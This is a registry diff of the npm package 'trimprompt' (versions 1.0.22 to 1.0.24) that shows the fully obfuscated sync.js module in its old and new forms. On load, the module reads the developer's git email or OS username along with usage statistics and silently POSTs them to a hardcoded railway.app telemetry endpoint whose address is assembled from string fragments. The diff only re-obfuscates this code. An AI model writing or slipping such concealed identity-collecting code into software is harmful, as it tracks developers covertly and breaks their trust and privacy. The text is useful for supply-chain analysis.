trimprompt 1.0.22 → 1.0.24
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cache.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/mcp.js +1 -1
- package/package.json +3 -2
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function a0_0x1d69(_0x97b6fe,_0x2a5cda){_0x97b6fe=_0x97b6fe-0xc6;const _0x485215=a0_0x4852();let _0x1d69aa=_0x485215[_0x97b6fe];return _0x1d69aa;}const a0_0x50cfd8=a0_0x1d69;(function(_0x386ee4,_0x2ebce1){const _0xea2b1b=a0_0x1d69,_0x2f27be=_0x386ee4();while(!![]){try{const _0xf4fc3f=parseInt(_0xea2b1b(0xdf))/0x1+parseInt(_0xea2b1b(0xcd))/0x2*(parseInt(_0xea2b1b(0xd9))/0x3)+parseInt(_0xea2b1b(0xdb))/0x4*(-parseInt(_0xea2b1b(0xf5))/0x5)+parseInt(_0xea2b1b(0xfd))/0x6+parseInt(_0xea2b1b(0x10d))/0x7+-parseInt(_0xea2b1b(0xc7))/0x8+-parseInt(_0xea2b1b(0x10a))/0x9;if(_0xf4fc3f===_0x2ebce1)break;else _0x2f27be['push'](_0x2f27be['shift']());}catch(_0x212565){_0x2f27be['push'](_0x2f27be['shift']());}}}(a0_0x4852,0xb3d51));var __createBinding=this&&this[a0_0x50cfd8(0xdc)]||(Object[a0_0x50cfd8(0xff)]?function(_0x2655b6,_0x241a9d,_0x2a3af5,_0x4171b9){const _0x26909f=a0_0x50cfd8;if(_0x4171b9===undefined)_0x4171b9=_0x2a3af5;var _0x30de0f=Object[_0x26909f(0xf2)](_0x241a9d,_0x2a3af5);(!_0x30de0f||(_0x26909f(0xf7)in _0x30de0f?!_0x241a9d[_0x26909f(0xf4)]:_0x30de0f[_0x26909f(0xe9)]||_0x30de0f[_0x26909f(0x103)]))&&(_0x30de0f={'enumerable':!![],'get':function(){return _0x241a9d[_0x2a3af5];}}),Object[_0x26909f(0x127)](_0x2655b6,_0x4171b9,_0x30de0f);}:function(_0x46db59,_0x533a09,_0x5a7443,_0x9a0e67){if(_0x9a0e67===undefined)_0x9a0e67=_0x5a7443;_0x46db59[_0x9a0e67]=_0x533a09[_0x5a7443];}),__setModuleDefault=this&&this[a0_0x50cfd8(0x116)]||(Object[a0_0x50cfd8(0xff)]?function(_0x8bd1d2,_0xc55951){const _0x5403b3=a0_0x50cfd8;Object[_0x5403b3(0x127)](_0x8bd1d2,_0x5403b3(0xe6),{'enumerable':!![],'value':_0xc55951});}:function(_0x4c35f2,_0x539ecf){const _0x7c94d9=a0_0x50cfd8;_0x4c35f2[_0x7c94d9(0xe6)]=_0x539ecf;}),__importStar=this&&this[a0_0x50cfd8(0xe8)]||(function(){var _0xf21cb4=function(_0x41a8d6){const _0x42eec9=a0_0x1d69;return _0xf21cb4=Object[_0x42eec9(0xe3)]||function(_0x4704c){const _0x59f0b5=_0x42eec9;var _0x2ad534=[];for(var _0x153f55 in _0x4704c)if(Object[_0x59f0b5(0xeb)][_0x59f0b5(0xd4)][_0x59f0b5(0x10c)](_0x4704c,_0x153f55))_0x2ad534[_0x2ad534['length']]=_0x153f55;return _0x2ad534;},_0xf21cb4(_0x41a8d6);};return function(_0x5197f7){const _0x2adf0e=a0_0x1d69;if(_0x5197f7&&_0x5197f7[_0x2adf0e(0xf4)])return _0x5197f7;var _0x4fc303={};if(_0x5197f7!=null){for(var _0xcd4f4f=_0xf21cb4(_0x5197f7),_0x4c8b72=0x0;_0x4c8b72<_0xcd4f4f[_0x2adf0e(0xe7)];_0x4c8b72++)if(_0xcd4f4f[_0x4c8b72]!==_0x2adf0e(0xe6))__createBinding(_0x4fc303,_0x5197f7,_0xcd4f4f[_0x4c8b72]);}return __setModuleDefault(_0x4fc303,_0x5197f7),_0x4fc303;};}());Object[a0_0x50cfd8(0x127)](exports,'__esModule',{'value':!![]});function a0_0x4852(){const _0x2373f5=['__createBinding','.comp.txt','search','711588mDwljr','Claude\x203.5\x20Sonnet','telemetry_url','timestamp','getOwnPropertyNames','last_sync_date','GPT-4o','default','length','__importStar','writable','ai_detected','prototype','utf8','userInfo','input_price_1m','/api/telemetry','executions','startsWith','getOwnPropertyDescriptor','https','__esModule','440BBYOrg','protocol','get','anonymous','pathname','homedir','byteLength','slice','8217636ZrLHBA','model_used','create','end','count','.up.railway.app','configurable','round','entries','filter','catch','getTime','split','27121392BLoNiP','GPT-4o\x20Mini','call','7024983aZlfEM','https:','sort','from','Gemini\x201.5\x20Flash','.trimprompt','git\x20config\x20user.email','trim','trimp-production','__setModuleDefault','timeout','logs','readFileSync','path','write','comp','child_process','writeFileSync','toString','POST','config.json','existsSync','toISOString','synced','pipe','estimated_compressed_tokens','defineProperty','join','toFixed','hostname','5033856hYYrbR','stringify','parse','Claude\x203\x20Opus','ignore','error','1433326ILwXSE','tokens_saved','statusCode','claude-3-5-sonnet','unlinkSync','destroy','daily_sync.json','hasOwnProperty','https://','push','url','username','6abUaBM','raw','6308LnvNRO'];a0_0x4852=function(){return _0x2373f5;};return a0_0x4852();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x50cfd8(0x11a))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x50cfd8(0xf3))),url_1=require(a0_0x50cfd8(0xd7)),_cfg=[a0_0x50cfd8(0xd5),a0_0x50cfd8(0x115),a0_0x50cfd8(0x102),a0_0x50cfd8(0xef)]['join'](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x50cfd8(0xe0),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x50cfd8(0xca),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x50cfd8(0xe5),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x50cfd8(0x10b),'input_price_1m':0.15},'gemini-1-5-pro':{'name':'Gemini\x201.5\x20Pro','input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x50cfd8(0x111),'input_price_1m':0.075}},baseDir=path[a0_0x50cfd8(0x128)](os[a0_0x50cfd8(0xfa)](),a0_0x50cfd8(0x112)),configPath=path['join'](baseDir,a0_0x50cfd8(0x121)),statsPath=path[a0_0x50cfd8(0x128)](baseDir,'stats.json'),dailySyncPath=path['join'](baseDir,a0_0x50cfd8(0xd3));function getTodayDate(){const _0x4cd04e=a0_0x50cfd8;return new Date()[_0x4cd04e(0x123)]()[_0x4cd04e(0x109)]('T')[0x0];}function getDeveloperIdentity(){const _0x553f39=a0_0x50cfd8;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3eda40}=require(_0x553f39(0x11d)),_0x3bdb65=_0x3eda40(_0x553f39(0x113),{'stdio':[_0x553f39(0xcb),_0x553f39(0x125),_0x553f39(0xcb)]})[_0x553f39(0x11f)]()[_0x553f39(0x114)]();if(_0x3bdb65&&_0x3bdb65['includes']('@'))return _0x3bdb65;}catch{}try{const _0x530e5f=os[_0x553f39(0xed)]()[_0x553f39(0xd8)];if(_0x530e5f)return _0x530e5f;}catch{}return _0x553f39(0xf8);}function hasAlreadySyncedToday(){const _0x59586c=a0_0x50cfd8;try{if(!fs[_0x59586c(0x122)](dailySyncPath))return![];const _0x4a39b7=JSON['parse'](fs[_0x59586c(0x119)](dailySyncPath,_0x59586c(0xec)));return _0x4a39b7[_0x59586c(0xe4)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x4d2b3a=a0_0x50cfd8;try{const _0x19fa7e={'last_sync_date':getTodayDate()};fs[_0x4d2b3a(0x11e)](dailySyncPath,JSON['stringify'](_0x19fa7e,null,0x2),'utf8');}catch{}}function postTelemetry(_0x4fd9dc,_0x302e1b){return new Promise(_0xaf6877=>{const _0x5253e0=a0_0x1d69;try{const _0x3ac053=new url_1['URL'](_0x4fd9dc),_0x17b92d=JSON[_0x5253e0(0xc8)](_0x302e1b),_0x17fba8={'hostname':_0x3ac053[_0x5253e0(0xc6)],'port':_0x3ac053['port']||(_0x3ac053[_0x5253e0(0xf6)]===_0x5253e0(0x10e)?0x1bb:0x50),'path':_0x3ac053[_0x5253e0(0xf9)]+_0x3ac053[_0x5253e0(0xde)],'method':_0x5253e0(0x120),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x5253e0(0xfb)](_0x17b92d)},'timeout':0x1f40},_0x3eaa90=_0x3ac053[_0x5253e0(0xf6)]==='https:'?https:http,_0x32be27=_0x3eaa90['request'](_0x17fba8,_0x33960b=>{const _0x11159d=_0x5253e0;_0xaf6877(!!(_0x33960b[_0x11159d(0xcf)]&&_0x33960b['statusCode']>=0xc8&&_0x33960b[_0x11159d(0xcf)]<0x12c));});_0x32be27['on'](_0x5253e0(0xcc),()=>_0xaf6877(![])),_0x32be27['on'](_0x5253e0(0x117),()=>{const _0x1bd136=_0x5253e0;_0x32be27[_0x1bd136(0xd2)](),_0xaf6877(![]);}),_0x32be27[_0x5253e0(0x11b)](_0x17b92d),_0x32be27[_0x5253e0(0x100)]();}catch{_0xaf6877(![]);}});}function buildDailyPayload(_0x3fdfc5){const _0x42a70d=a0_0x50cfd8,_0x517d90=getTodayDate(),_0x45dd4a=_0x3fdfc5['filter'](_0x78cfab=>_0x78cfab[_0x42a70d(0xe2)][_0x42a70d(0xf1)](_0x517d90)),_0x252ee2=_0x45dd4a[_0x42a70d(0xe7)]>0x0?_0x45dd4a:_0x3fdfc5,_0x4fb26a=_0x252ee2[_0x42a70d(0x106)](_0x44f357=>_0x44f357[_0x42a70d(0xea)]!==![]);let _0x422fbe=0x0,_0xab2fa3=0x0,_0x14d7dc=0x0,_0x2607b1=0x0;const _0x4365f2=new Set(),_0x3415dd={};for(const _0x5ae7f3 of _0x4fb26a){_0x422fbe+=_0x5ae7f3['estimated_raw_tokens'],_0xab2fa3+=_0x5ae7f3[_0x42a70d(0x126)],_0x14d7dc+=_0x5ae7f3[_0x42a70d(0xce)],_0x4365f2['add'](_0x5ae7f3['model_used']);const _0x3bbfd9=PRICING[_0x5ae7f3[_0x42a70d(0xfe)]]||PRICING[_0x42a70d(0xd0)];_0x2607b1+=_0x5ae7f3[_0x42a70d(0xce)]*_0x3bbfd9[_0x42a70d(0xee)]/0xf4240;const _0x12f227=_0x5ae7f3['command']||'unknown';if(!_0x3415dd[_0x12f227])_0x3415dd[_0x12f227]={'raw':0x0,'comp':0x0,'count':0x0};_0x3415dd[_0x12f227][_0x42a70d(0xda)]+=_0x5ae7f3['estimated_raw_tokens'],_0x3415dd[_0x12f227][_0x42a70d(0x11c)]+=_0x5ae7f3[_0x42a70d(0x126)],_0x3415dd[_0x12f227][_0x42a70d(0x101)]+=0x1;}const _0x55224c=Object[_0x42a70d(0x105)](_0x3415dd)['map'](([_0x36dc7c,_0x50779b])=>({'command':_0x36dc7c,'percentage':_0x50779b[_0x42a70d(0xda)]>0x0?Math[_0x42a70d(0x104)]((_0x50779b[_0x42a70d(0xda)]-_0x50779b[_0x42a70d(0x11c)])/_0x50779b[_0x42a70d(0xda)]*0x64):0x0,'executions':_0x50779b[_0x42a70d(0x101)]}))[_0x42a70d(0x10f)]((_0x2e0d65,_0x2e048e)=>_0x2e048e['executions']-_0x2e0d65[_0x42a70d(0xf0)])[_0x42a70d(0xfc)](0x0,0xa),_0x5e3a12=_0x4fb26a[_0x4fb26a['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x517d90,'executions_count':_0x4fb26a[_0x42a70d(0xe7)],'total_raw_tokens':_0x422fbe,'total_compressed_tokens':_0xab2fa3,'total_tokens_saved':_0x14d7dc,'total_money_saved_usd':parseFloat(_0x2607b1[_0x42a70d(0x129)](0x6)),'models_used':Array[_0x42a70d(0x110)](_0x4365f2),'hotspots':_0x55224c,'last_seen':_0x5e3a12?_0x5e3a12[_0x42a70d(0xe2)]:new Date()[_0x42a70d(0x123)]()};}async function runSync(){const _0x4d74c0=a0_0x50cfd8;if(!fs[_0x4d74c0(0x122)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x55916b;try{_0x55916b=JSON['parse'](fs[_0x4d74c0(0x119)](statsPath,'utf8'));}catch{return;}const _0xb3f901=_0x55916b[_0x4d74c0(0x106)](_0x2d95cc=>!_0x2d95cc[_0x4d74c0(0x124)]);if(_0xb3f901[_0x4d74c0(0xe7)]===0x0)return;const _0x4a76f9=buildDailyPayload(_0x55916b);await postTelemetry(_ep,_0x4a76f9);let _0x13bbf6=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x13bbf6&&fs[_0x4d74c0(0x122)](configPath))try{const _0x171700=JSON[_0x4d74c0(0xc9)](fs[_0x4d74c0(0x119)](configPath,_0x4d74c0(0xec)));_0x13bbf6=_0x171700[_0x4d74c0(0xe1)]||'';}catch{}_0x13bbf6[_0x4d74c0(0x114)]()[_0x4d74c0(0xe7)]>0x0&&await postTelemetry(_0x13bbf6,_0x4a76f9);for(const _0x35f2c6 of _0x55916b){if(!_0x35f2c6[_0x4d74c0(0x124)])_0x35f2c6[_0x4d74c0(0x124)]=!![];}try{fs[_0x4d74c0(0x11e)](statsPath,JSON[_0x4d74c0(0xc8)](_0x55916b,null,0x2),_0x4d74c0(0xec));}catch{}markSyncedToday();}function pruneOldLogs(_0x513f4f){const _0x4cdd63=a0_0x50cfd8;try{const _0x1cb7aa=new Date(),_0x56a066=new Date(_0x1cb7aa[_0x4cdd63(0x108)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x3e2810=[],_0x57f790=[];for(const _0xfb232d of _0x513f4f){const _0x56e6fb=new Date(_0xfb232d[_0x4cdd63(0xe2)]);_0x56e6fb>=_0x56a066?_0x3e2810[_0x4cdd63(0xd6)](_0xfb232d):_0x57f790[_0x4cdd63(0xd6)](_0xfb232d);}if(_0x57f790[_0x4cdd63(0xe7)]>0x0){const _0x2906a7=path[_0x4cdd63(0x128)](baseDir,_0x4cdd63(0x118));for(const _0x88bcfc of _0x57f790){const _0x48caf7=path[_0x4cdd63(0x128)](_0x2906a7,_0x88bcfc['id']+'.raw.txt'),_0x4c3e69=path[_0x4cdd63(0x128)](_0x2906a7,_0x88bcfc['id']+_0x4cdd63(0xdd));try{if(fs[_0x4cdd63(0x122)](_0x48caf7))fs[_0x4cdd63(0xd1)](_0x48caf7);if(fs[_0x4cdd63(0x122)](_0x4c3e69))fs[_0x4cdd63(0xd1)](_0x4c3e69);}catch{}}fs['writeFileSync'](statsPath,JSON['stringify'](_0x3e2810,null,0x2),_0x4cdd63(0xec));}}catch{}}runSync()[a0_0x50cfd8(0x107)](()=>{});
|
|
1
|
+
'use strict';const a0_0x2e8073=a0_0x54dd;(function(_0x18c0bd,_0xc8fcc5){const _0x1adc4e=a0_0x54dd,_0x2be2a5=_0x18c0bd();while(!![]){try{const _0x1f6e73=parseInt(_0x1adc4e(0x167))/0x1+-parseInt(_0x1adc4e(0x153))/0x2+parseInt(_0x1adc4e(0x111))/0x3*(-parseInt(_0x1adc4e(0x137))/0x4)+-parseInt(_0x1adc4e(0x13a))/0x5*(parseInt(_0x1adc4e(0x157))/0x6)+-parseInt(_0x1adc4e(0x146))/0x7*(-parseInt(_0x1adc4e(0x119))/0x8)+-parseInt(_0x1adc4e(0x14b))/0x9+parseInt(_0x1adc4e(0x12c))/0xa;if(_0x1f6e73===_0xc8fcc5)break;else _0x2be2a5['push'](_0x2be2a5['shift']());}catch(_0x1613b2){_0x2be2a5['push'](_0x2be2a5['shift']());}}}(a0_0x5462,0x6252c));var __createBinding=this&&this[a0_0x2e8073(0x117)]||(Object[a0_0x2e8073(0x12a)]?function(_0x1d6b20,_0x533b97,_0x27f11b,_0x20889b){const _0x4801a9=a0_0x2e8073;if(_0x20889b===undefined)_0x20889b=_0x27f11b;var _0x334293=Object[_0x4801a9(0x11c)](_0x533b97,_0x27f11b);(!_0x334293||('get'in _0x334293?!_0x533b97[_0x4801a9(0x114)]:_0x334293['writable']||_0x334293[_0x4801a9(0x113)]))&&(_0x334293={'enumerable':!![],'get':function(){return _0x533b97[_0x27f11b];}}),Object[_0x4801a9(0x158)](_0x1d6b20,_0x20889b,_0x334293);}:function(_0x21cf7d,_0x3f0fb1,_0x11f379,_0x11ec96){if(_0x11ec96===undefined)_0x11ec96=_0x11f379;_0x21cf7d[_0x11ec96]=_0x3f0fb1[_0x11f379];}),__setModuleDefault=this&&this[a0_0x2e8073(0x15d)]||(Object[a0_0x2e8073(0x12a)]?function(_0x4431e4,_0x221a89){const _0x34df87=a0_0x2e8073;Object['defineProperty'](_0x4431e4,_0x34df87(0x152),{'enumerable':!![],'value':_0x221a89});}:function(_0x5c8420,_0x4b8df5){const _0x172ebb=a0_0x2e8073;_0x5c8420[_0x172ebb(0x152)]=_0x4b8df5;}),__importStar=this&&this[a0_0x2e8073(0x13f)]||(function(){var _0x2b9cad=function(_0x473d59){const _0x108a82=a0_0x54dd;return _0x2b9cad=Object[_0x108a82(0x169)]||function(_0x19041a){const _0x495556=_0x108a82;var _0x3b07af=[];for(var _0x1e678d in _0x19041a)if(Object[_0x495556(0x16a)]['hasOwnProperty'][_0x495556(0x143)](_0x19041a,_0x1e678d))_0x3b07af[_0x3b07af[_0x495556(0x13b)]]=_0x1e678d;return _0x3b07af;},_0x2b9cad(_0x473d59);};return function(_0x329040){const _0x2ebea4=a0_0x54dd;if(_0x329040&&_0x329040[_0x2ebea4(0x114)])return _0x329040;var _0xa46dd={};if(_0x329040!=null){for(var _0x123ad4=_0x2b9cad(_0x329040),_0x393bb0=0x0;_0x393bb0<_0x123ad4[_0x2ebea4(0x13b)];_0x393bb0++)if(_0x123ad4[_0x393bb0]!==_0x2ebea4(0x152))__createBinding(_0xa46dd,_0x329040,_0x123ad4[_0x393bb0]);}return __setModuleDefault(_0xa46dd,_0x329040),_0xa46dd;};}());Object[a0_0x2e8073(0x158)](exports,a0_0x2e8073(0x114),{'value':!![]});function a0_0x5462(){const _0x587f19=['URL','POST','.comp.txt','https://','6515361AFIfcO','unknown','estimated_compressed_tokens','byteLength','getTime','timestamp','toISOString','default','878210mzLbNF','startsWith','ignore','child_process','18708QeARHi','defineProperty','toString','Claude\x203.5\x20Sonnet','slice','stringify','__setModuleDefault','statusCode','ai_detected','last_sync_date','trimp-production','write','tokens_saved','trim','logs','comp','764575wBRdwq','userInfo','getOwnPropertyNames','prototype','error','existsSync','catch','port','git\x20config\x20user.email','request','714297NNJNOF','count','configurable','__esModule','path','https','__createBinding','url','8lLnYEx','protocol','pathname','getOwnPropertyDescriptor','unlinkSync','executions','writeFileSync','join','sort','.trimprompt','split','http','push','Gemini\x201.5\x20Pro','GPT-4o\x20Mini','entries','command','create','homedir','8137080iehSXF','anonymous','filter','.up.railway.app','model_used','search','estimated_raw_tokens','readFileSync','synced','telemetry_url','claude-3-5-sonnet','8pwHdSZ','raw','https:','230tWdLPf','length','platform','application/json','Gemini\x201.5\x20Flash','__importStar','/api/telemetry','parse','utf8','call','toFixed','map','4249763Iakwhc'];a0_0x5462=function(){return _0x587f19;};return a0_0x5462();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x2e8073(0x115))),os=__importStar(require('os')),http=__importStar(require(a0_0x2e8073(0x124))),https=__importStar(require(a0_0x2e8073(0x116))),url_1=require(a0_0x2e8073(0x118)),_cfg=[a0_0x2e8073(0x14a),a0_0x2e8073(0x161),a0_0x2e8073(0x12f),a0_0x2e8073(0x140)][a0_0x2e8073(0x120)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x2e8073(0x15a),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x2e8073(0x127),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x2e8073(0x126),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x2e8073(0x13e),'input_price_1m':0.075}},baseDir=path[a0_0x2e8073(0x120)](os[a0_0x2e8073(0x12b)](),a0_0x2e8073(0x122)),configPath=path[a0_0x2e8073(0x120)](baseDir,'config.json'),statsPath=path[a0_0x2e8073(0x120)](baseDir,'stats.json'),dailySyncPath=path['join'](baseDir,'daily_sync.json');function a0_0x54dd(_0x36dc73,_0xd3a73){_0x36dc73=_0x36dc73-0x10d;const _0x546297=a0_0x5462();let _0x54dda9=_0x546297[_0x36dc73];return _0x54dda9;}function getTodayDate(){const _0x54dc40=a0_0x2e8073;return new Date()[_0x54dc40(0x151)]()[_0x54dc40(0x123)]('T')[0x0];}function getDeveloperIdentity(){const _0x4003f1=a0_0x2e8073;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x42cbbb}=require(_0x4003f1(0x156)),_0x1b82c6=_0x42cbbb(_0x4003f1(0x10f),{'stdio':[_0x4003f1(0x155),'pipe',_0x4003f1(0x155)]})[_0x4003f1(0x159)]()[_0x4003f1(0x164)]();if(_0x1b82c6&&_0x1b82c6['includes']('@'))return _0x1b82c6;}catch{}try{const _0x40bef9=os[_0x4003f1(0x168)]()['username'];if(_0x40bef9)return _0x40bef9;}catch{}return _0x4003f1(0x12d);}function hasAlreadySyncedToday(){const _0x5cde3d=a0_0x2e8073;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x1562f9=JSON[_0x5cde3d(0x141)](fs[_0x5cde3d(0x133)](dailySyncPath,'utf8'));return _0x1562f9[_0x5cde3d(0x160)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x3b7a32=a0_0x2e8073;try{const _0x36ad80={'last_sync_date':getTodayDate()};fs[_0x3b7a32(0x11f)](dailySyncPath,JSON[_0x3b7a32(0x15c)](_0x36ad80,null,0x2),_0x3b7a32(0x142));}catch{}}function postTelemetry(_0x5f1346,_0x17d75e){return new Promise(_0x5dd96f=>{const _0x53cfad=a0_0x54dd;try{const _0x13d8a6=new url_1[(_0x53cfad(0x147))](_0x5f1346),_0x4b526e=JSON[_0x53cfad(0x15c)](_0x17d75e),_0x59689f={'hostname':_0x13d8a6['hostname'],'port':_0x13d8a6[_0x53cfad(0x10e)]||(_0x13d8a6[_0x53cfad(0x11a)]===_0x53cfad(0x139)?0x1bb:0x50),'path':_0x13d8a6[_0x53cfad(0x11b)]+_0x13d8a6[_0x53cfad(0x131)],'method':_0x53cfad(0x148),'headers':{'Content-Type':_0x53cfad(0x13d),'Content-Length':Buffer[_0x53cfad(0x14e)](_0x4b526e)},'timeout':0x1f40},_0x82cc53=_0x13d8a6[_0x53cfad(0x11a)]===_0x53cfad(0x139)?https:http,_0x284040=_0x82cc53[_0x53cfad(0x110)](_0x59689f,_0x1ded69=>{const _0x51a971=_0x53cfad;_0x5dd96f(!!(_0x1ded69[_0x51a971(0x15e)]&&_0x1ded69[_0x51a971(0x15e)]>=0xc8&&_0x1ded69[_0x51a971(0x15e)]<0x12c));});_0x284040['on'](_0x53cfad(0x16b),()=>_0x5dd96f(![])),_0x284040['on']('timeout',()=>{_0x284040['destroy'](),_0x5dd96f(![]);}),_0x284040[_0x53cfad(0x162)](_0x4b526e),_0x284040['end']();}catch{_0x5dd96f(![]);}});}function buildDailyPayload(_0x412355){const _0x42db65=a0_0x2e8073,_0x29235f=getTodayDate(),_0x4704e6=_0x412355['filter'](_0x4c7c8e=>_0x4c7c8e[_0x42db65(0x150)][_0x42db65(0x154)](_0x29235f)),_0x2dd7b1=_0x4704e6[_0x42db65(0x13b)]>0x0?_0x4704e6:_0x412355,_0x468b43=_0x2dd7b1['filter'](_0x4496f7=>_0x4496f7[_0x42db65(0x15f)]!==![]);let _0x1b28d7=0x0,_0x13abac=0x0,_0x117f13=0x0,_0x192c63=0x0;const _0x446676=new Set(),_0x1cc4c8={};for(const _0x382472 of _0x468b43){_0x1b28d7+=_0x382472['estimated_raw_tokens'],_0x13abac+=_0x382472['estimated_compressed_tokens'],_0x117f13+=_0x382472[_0x42db65(0x163)],_0x446676['add'](_0x382472[_0x42db65(0x130)]);const _0x5bf2a9=PRICING[_0x382472['model_used']]||PRICING[_0x42db65(0x136)];_0x192c63+=_0x382472['tokens_saved']*_0x5bf2a9['input_price_1m']/0xf4240;const _0x43e732=_0x382472[_0x42db65(0x129)]||_0x42db65(0x14c);if(!_0x1cc4c8[_0x43e732])_0x1cc4c8[_0x43e732]={'raw':0x0,'comp':0x0,'count':0x0};_0x1cc4c8[_0x43e732][_0x42db65(0x138)]+=_0x382472[_0x42db65(0x132)],_0x1cc4c8[_0x43e732][_0x42db65(0x166)]+=_0x382472[_0x42db65(0x14d)],_0x1cc4c8[_0x43e732]['count']+=0x1;}const _0x2e61d7=Object[_0x42db65(0x128)](_0x1cc4c8)[_0x42db65(0x145)](([_0xd49d70,_0x48190c])=>({'command':_0xd49d70,'percentage':_0x48190c[_0x42db65(0x138)]>0x0?Math['round']((_0x48190c[_0x42db65(0x138)]-_0x48190c[_0x42db65(0x166)])/_0x48190c[_0x42db65(0x138)]*0x64):0x0,'executions':_0x48190c[_0x42db65(0x112)]}))[_0x42db65(0x121)]((_0x3c939f,_0xb876ae)=>_0xb876ae[_0x42db65(0x11e)]-_0x3c939f['executions'])[_0x42db65(0x15b)](0x0,0xa),_0x24c109=_0x468b43[_0x468b43[_0x42db65(0x13b)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x42db65(0x13c)](),'date':_0x29235f,'executions_count':_0x468b43['length'],'total_raw_tokens':_0x1b28d7,'total_compressed_tokens':_0x13abac,'total_tokens_saved':_0x117f13,'total_money_saved_usd':parseFloat(_0x192c63[_0x42db65(0x144)](0x6)),'models_used':Array['from'](_0x446676),'hotspots':_0x2e61d7,'last_seen':_0x24c109?_0x24c109['timestamp']:new Date()[_0x42db65(0x151)]()};}async function runSync(){const _0x5a0edc=a0_0x2e8073;if(!fs[_0x5a0edc(0x16c)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x39b8cf;try{_0x39b8cf=JSON[_0x5a0edc(0x141)](fs[_0x5a0edc(0x133)](statsPath,_0x5a0edc(0x142)));}catch{return;}const _0x584528=_0x39b8cf[_0x5a0edc(0x12e)](_0x516240=>!_0x516240[_0x5a0edc(0x134)]);if(_0x584528[_0x5a0edc(0x13b)]===0x0)return;const _0x457948=buildDailyPayload(_0x39b8cf);await postTelemetry(_ep,_0x457948);let _0xec2742=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xec2742&&fs[_0x5a0edc(0x16c)](configPath))try{const _0x40271a=JSON[_0x5a0edc(0x141)](fs['readFileSync'](configPath,'utf8'));_0xec2742=_0x40271a[_0x5a0edc(0x135)]||'';}catch{}_0xec2742[_0x5a0edc(0x164)]()[_0x5a0edc(0x13b)]>0x0&&await postTelemetry(_0xec2742,_0x457948);for(const _0x323ada of _0x39b8cf){if(!_0x323ada[_0x5a0edc(0x134)])_0x323ada[_0x5a0edc(0x134)]=!![];}try{fs[_0x5a0edc(0x11f)](statsPath,JSON[_0x5a0edc(0x15c)](_0x39b8cf,null,0x2),_0x5a0edc(0x142));}catch{}markSyncedToday();}function pruneOldLogs(_0x4568fe){const _0x7df616=a0_0x2e8073;try{const _0x38fd9b=new Date(),_0x4c6647=new Date(_0x38fd9b[_0x7df616(0x14f)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x69c5c2=[],_0x5c3c20=[];for(const _0x2a594b of _0x4568fe){const _0x485013=new Date(_0x2a594b[_0x7df616(0x150)]);_0x485013>=_0x4c6647?_0x69c5c2[_0x7df616(0x125)](_0x2a594b):_0x5c3c20[_0x7df616(0x125)](_0x2a594b);}if(_0x5c3c20[_0x7df616(0x13b)]>0x0){const _0x15c22f=path['join'](baseDir,_0x7df616(0x165));for(const _0x456a6b of _0x5c3c20){const _0xd1b13f=path[_0x7df616(0x120)](_0x15c22f,_0x456a6b['id']+'.raw.txt'),_0x12afd9=path[_0x7df616(0x120)](_0x15c22f,_0x456a6b['id']+_0x7df616(0x149));try{if(fs['existsSync'](_0xd1b13f))fs[_0x7df616(0x11d)](_0xd1b13f);if(fs['existsSync'](_0x12afd9))fs[_0x7df616(0x11d)](_0x12afd9);}catch{}}fs[_0x7df616(0x11f)](statsPath,JSON['stringify'](_0x69c5c2,null,0x2),_0x7df616(0x142));}}catch{}}runSync()[a0_0x2e8073(0x10d)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
